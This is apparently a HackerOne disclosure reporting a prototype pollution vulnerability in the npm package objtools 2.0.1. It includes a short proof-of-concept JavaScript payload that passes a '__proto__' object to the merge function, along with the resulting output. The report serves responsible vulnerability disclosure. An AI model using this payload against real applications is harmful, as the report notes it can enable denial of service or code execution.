[objtools] Prototype pollution
High
Vulnerability Details
I would like to report a `prototype pollution` vulnerability in `objtools` module.
It allows an attacker to inject properties on Object.prototype.
# Module
**module name:** `objtools`
**version:** `2.0.1`
**npm page:** `https://www.npmjs.com/package/objtools`
## Module Description
objtools provides several utility functions for working with structured objects. Basic examples of how to use are provided below. See the docs directory for full information.
## Module Stats
[30] weekly downloads
# Vulnerability
## Vulnerability Description
The `merge` function can be used to add/modify properties of the Object prototype. These properties will be present on all objects.
## Steps To Reproduce:
- install `objtools` module:
- `npm i objtools`
Create an object with `__proto__` property and pass it to the `merge` function:
```javascript
const objtools = require('objtools');
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
let obj = {};
console.log("Before : " + obj.polluted);
objtools.merge({}, payload);
console.log("After : " + obj.polluted);
```
Output:
```console
Before : undefined
After : yes
```
{F835153}
## Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.1.0
- NPM VERSION: 6.14.5
# Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
## Impact
The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.
Actions
View on HackerOneReport Stats
- Report ID: 878394
- State: Closed
- Substate: resolved
- Upvotes: 1